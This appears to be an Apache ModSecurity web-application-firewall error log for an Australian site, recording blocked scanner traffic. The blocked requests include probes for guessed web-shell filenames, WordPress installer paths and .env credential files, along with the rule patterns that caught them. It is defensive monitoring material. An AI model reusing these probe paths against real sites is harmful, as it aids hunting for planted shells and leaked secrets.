[Fri Apr 17 03:51:47.520590 2026] [:error] [pid 9151:tid 9164] [client 20.166.31.184:35892] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "aeE908hTVuRPkua22vRfEAAAAAM"]
[Fri Apr 17 03:51:48.036093 2026] [:error] [pid 9263:tid 9281] [client 20.166.31.184:26264] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "aeE91BP68VyHNvj1e56DYwAAANA"]
[Fri Apr 17 03:51:48.541148 2026] [:error] [pid 9263:tid 9283] [client 20.166.31.184:32764] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "aeE91BP68VyHNvj1e56DZwAAANI"]
[Fri Apr 17 03:51:49.052481 2026] [:error] [pid 9151:tid 9171] [client 20.166.31.184:35847] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "aeE91chTVuRPkua22vRfEgAAAAo"]
[Fri Apr 17 03:51:49.606630 2026] [:error] [pid 9263:tid 9280] [client 20.166.31.184:29480] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aeE91RP68VyHNvj1e56DawAAAM8"]
[Fri Apr 17 03:51:50.120549 2026] [:error] [pid 9152:tid 9190] [client 20.166.31.184:38561] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aeE91pJYca8I3TNCwIfJSAAAAEA"]
[Fri Apr 17 03:51:50.666291 2026] [:error] [pid 9263:tid 9289] [client 20.166.31.184:24028] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aeE91hP68VyHNvj1e56DbgAAANg"]
[Fri Apr 17 03:51:51.194930 2026] [:error] [pid 9263:tid 9265] [client 20.166.31.184:26301] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aeE91xP68VyHNvj1e56DcAAAAMA"]
[Fri Apr 17 03:51:51.721712 2026] [:error] [pid 9263:tid 9282] [client 20.166.31.184:15640] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hypo.php"] [unique_id "aeE91xP68VyHNvj1e56DcwAAANE"]
[Fri Apr 17 03:51:52.288456 2026] [:error] [pid 9152:tid 9198] [client 20.166.31.184:29487] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hypo.php"] [unique_id "aeE92JJYca8I3TNCwIfJTwAAAEg"]
[Fri Apr 17 03:51:52.822553 2026] [:error] [pid 9152:tid 9195] [client 20.166.31.184:25997] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hypo.php"] [unique_id "aeE92JJYca8I3TNCwIfJVAAAAEU"]
[Fri Apr 17 04:01:36.366053 2026] [:error] [pid 9263:tid 9283] [client 209.38.89.62:52334] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/install.php"] [unique_id "aeFAIBP68VyHNvj1e56LowAAANI"]
[Fri Apr 17 04:01:36.482568 2026] [:error] [pid 9263:tid 9265] [client 209.38.89.62:52352] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-admin/install.php"] [unique_id "aeFAIBP68VyHNvj1e56LpgAAAMA"]
[Fri Apr 17 04:01:36.606814 2026] [:error] [pid 9263:tid 9271] [client 209.38.89.62:52364] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new/wp-admin/install.php"] [unique_id "aeFAIBP68VyHNvj1e56LqQAAAMY"]
[Fri Apr 17 04:01:36.685266 2026] [:error] [pid 9263:tid 9275] [client 209.38.89.62:52386] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/old/wp-admin/install.php"] [unique_id "aeFAIBP68VyHNvj1e56LqwAAAMo"]
[Fri Apr 17 04:01:36.857366 2026] [:error] [pid 9263:tid 9266] [client 209.38.89.62:52398] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-admin/install.php"] [unique_id "aeFAIBP68VyHNvj1e56LrgAAAME"]
[Fri Apr 17 04:01:37.002627 2026] [:error] [pid 9263:tid 9288] [client 209.38.89.62:52416] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-admin/install.php"] [unique_id "aeFAIRP68VyHNvj1e56LswAAANc"]
[Fri Apr 17 04:01:37.119324 2026] [:error] [pid 9151:tid 9163] [client 209.38.89.62:52424] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-admin/install.php"] [unique_id "aeFAIchTVuRPkua22vRhnwAAAAI"]
[Fri Apr 17 04:01:37.822816 2026] [:error] [pid 9263:tid 9285] [client 209.38.89.62:52434] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-admin/install.php"] [unique_id "aeFAIRP68VyHNvj1e56LvQAAANQ"]
[Fri Apr 17 04:01:37.935578 2026] [:error] [pid 9263:tid 9280] [client 209.38.89.62:52458] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-admin/install.php"] [unique_id "aeFAIRP68VyHNvj1e56LvwAAAM8"]
[Fri Apr 17 04:01:38.051327 2026] [:error] [pid 9263:tid 9273] [client 209.38.89.62:52470] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/backup/wp-admin/install.php"] [unique_id "aeFAIhP68VyHNvj1e56LwQAAAMg"]
[Fri Apr 17 04:01:38.150826 2026] [:error] [pid 9263:tid 9283] [client 209.38.89.62:52474] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-admin/install.php"] [unique_id "aeFAIhP68VyHNvj1e56LwwAAANI"]
[Fri Apr 17 04:01:38.252883 2026] [:error] [pid 9263:tid 9284] [client 209.38.89.62:52484] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oldsite/wp-admin/install.php"] [unique_id "aeFAIhP68VyHNvj1e56LyAAAANM"]
[Fri Apr 17 04:01:38.424333 2026] [:error] [pid 9263:tid 9271] [client 209.38.89.62:52490] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-admin/install.php"] [unique_id "aeFAIhP68VyHNvj1e56LygAAAMY"]
[Fri Apr 17 04:16:05.049856 2026] [:error] [pid 9153:tid 9224] [client 43.153.19.83:42392] [client 43.153.19.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeFDheMHGxkTZX3c45e2DgAAAIY"]
[Fri Apr 17 05:17:08.665552 2026] [:error] [pid 9263:tid 9276] [client 34.168.100.28:44558] [client 34.168.100.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/public/.env"] [unique_id "aeFR1BP68VyHNvj1e57niwAAAMs"]
[Fri Apr 17 05:17:14.290122 2026] [:error] [pid 51878:tid 51900] [client 34.168.100.28:46512] [client 34.168.100.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.vercel/.env.production.local"] [unique_id "aeFR2knQhUtMbw9EsgZSfAAAARQ"]
[Fri Apr 17 08:04:57.094517 2026] [:error] [pid 34273:tid 34288] [client 217.182.195.176:41536] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aeF5KWuQDW686mK3dgEuLwAAAY0"]
[Fri Apr 17 08:05:00.071466 2026] [:error] [pid 34273:tid 34291] [client 217.182.195.176:56302] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aeF5LGuQDW686mK3dgEuOgAAAZA"]
[Fri Apr 17 08:05:02.797413 2026] [:error] [pid 9151:tid 9177] [client 217.182.195.176:56308] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aeF5LshTVuRPkua22vTRZwAAABA"]
[Fri Apr 17 08:05:05.433635 2026] [:error] [pid 9152:tid 9214] [client 217.182.195.176:56314] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aeF5MZJYca8I3TNCwIdUIgAAAFg"]
[Fri Apr 17 08:05:07.993125 2026] [:error] [pid 34273:tid 34282] [client 217.182.195.176:47296] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aeF5M2uQDW686mK3dgEuSQAAAYc"]
[Fri Apr 17 08:05:10.545742 2026] [:error] [pid 34273:tid 34291] [client 217.182.195.176:47310] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aeF5NmuQDW686mK3dgEuVQAAAZA"]
[Fri Apr 17 08:05:13.169458 2026] [:error] [pid 25010:tid 25024] [client 217.182.195.176:47312] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aeF5OY-7kkf42RarqQ3y6QAAAUs"]
[Fri Apr 17 08:33:20.239751 2026] [:error] [pid 34273:tid 34290] [client 20.166.7.149:40064] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeF_0GuQDW686mK3dgFEZQAAAY8"]
[Fri Apr 17 08:33:22.194883 2026] [:error] [pid 25010:tid 25027] [client 20.166.7.149:23289] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeF_0o-7kkf42RarqQ3-1wAAAU4"]
[Fri Apr 17 08:33:23.592033 2026] [:error] [pid 9152:tid 9201] [client 20.166.7.149:13418] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeF_05JYca8I3TNCwIdmOQAAAEs"]
[Fri Apr 17 08:33:25.409319 2026] [:error] [pid 9263:tid 9273] [client 20.166.7.149:52207] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeF_1RP68VyHNvj1e55QAAAAAMg"]
[Fri Apr 17 08:33:27.493143 2026] [:error] [pid 9151:tid 9176] [client 20.166.7.149:24007] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdn3.php"] [unique_id "aeF_18hTVuRPkua22vTZcAAAAA8"]
[Fri Apr 17 08:33:29.381401 2026] [:error] [pid 9153:tid 9233] [client 20.166.7.149:36100] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdn3.php"] [unique_id "aeF_2eMHGxkTZX3c45d2MAAAAI8"]
[Fri Apr 17 08:33:30.454875 2026] [:error] [pid 9153:tid 9236] [client 20.166.7.149:24023] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdn3.php"] [unique_id "aeF_2uMHGxkTZX3c45d2OgAAAJI"]
[Fri Apr 17 08:33:31.891231 2026] [:error] [pid 51878:tid 51883] [client 20.166.7.149:13126] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdn3.php"] [unique_id "aeF_20nQhUtMbw9Esgbb7QAAAQM"]
[Fri Apr 17 08:33:34.211072 2026] [:error] [pid 9263:tid 9272] [client 20.166.7.149:3451] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeF_3hP68VyHNvj1e55QIgAAAMc"]
[Fri Apr 17 08:33:38.471143 2026] [:error] [pid 9151:tid 9167] [client 20.166.7.149:22845] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeF_4shTVuRPkua22vTZlAAAAAY"]
[Fri Apr 17 08:33:42.911954 2026] [:error] [pid 9153:tid 9222] [client 20.166.7.149:22828] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeF_5uMHGxkTZX3c45d2YgAAAIQ"]
[Fri Apr 17 08:33:52.742419 2026] [:error] [pid 51878:tid 51889] [client 20.166.7.149:26753] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/beerd.php"] [unique_id "aeF_8EnQhUtMbw9EsgbcBAAAAQk"]
[Fri Apr 17 08:33:55.294969 2026] [:error] [pid 9263:tid 9276] [client 20.166.7.149:20273] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/beerd.php"] [unique_id "aeF_8xP68VyHNvj1e55QVQAAAMs"]
[Fri Apr 17 08:33:56.475057 2026] [:error] [pid 34273:tid 34295] [client 20.166.7.149:45509] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/beerd.php"] [unique_id "aeF_9GuQDW686mK3dgFEygAAAZQ"]
[Fri Apr 17 08:33:59.157278 2026] [:error] [pid 9152:tid 9198] [client 20.166.7.149:14670] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/beerd.php"] [unique_id "aeF_95JYca8I3TNCwIdm6AAAAEg"]
[Fri Apr 17 08:34:03.564874 2026] [:error] [pid 9152:tid 9194] [client 20.166.7.149:47660] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hhxc.php"] [unique_id "aeF_-5JYca8I3TNCwIdm-gAAAEQ"]
[Fri Apr 17 08:34:11.446279 2026] [:error] [pid 9152:tid 9192] [client 20.166.7.149:41446] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hhxc.php"] [unique_id "aeGAA5JYca8I3TNCwIdnFgAAAEI"]
[Fri Apr 17 08:34:13.653291 2026] [:error] [pid 9151:tid 9167] [client 20.166.7.149:29175] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hhxc.php"] [unique_id "aeGABchTVuRPkua22vTZ9gAAAAY"]
[Fri Apr 17 08:34:14.685098 2026] [:error] [pid 9153:tid 9229] [client 20.166.7.149:51313] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hhxc.php"] [unique_id "aeGABuMHGxkTZX3c45d20AAAAIs"]
[Fri Apr 17 08:34:16.540476 2026] [:error] [pid 9152:tid 9199] [client 20.166.7.149:53370] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/161dfd072f.php"] [unique_id "aeGACJJYca8I3TNCwIdnMAAAAEk"]
[Fri Apr 17 08:34:17.915888 2026] [:error] [pid 34273:tid 34282] [client 20.166.7.149:20295] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/161dfd072f.php"] [unique_id "aeGACWuQDW686mK3dgFFhAAAAYc"]
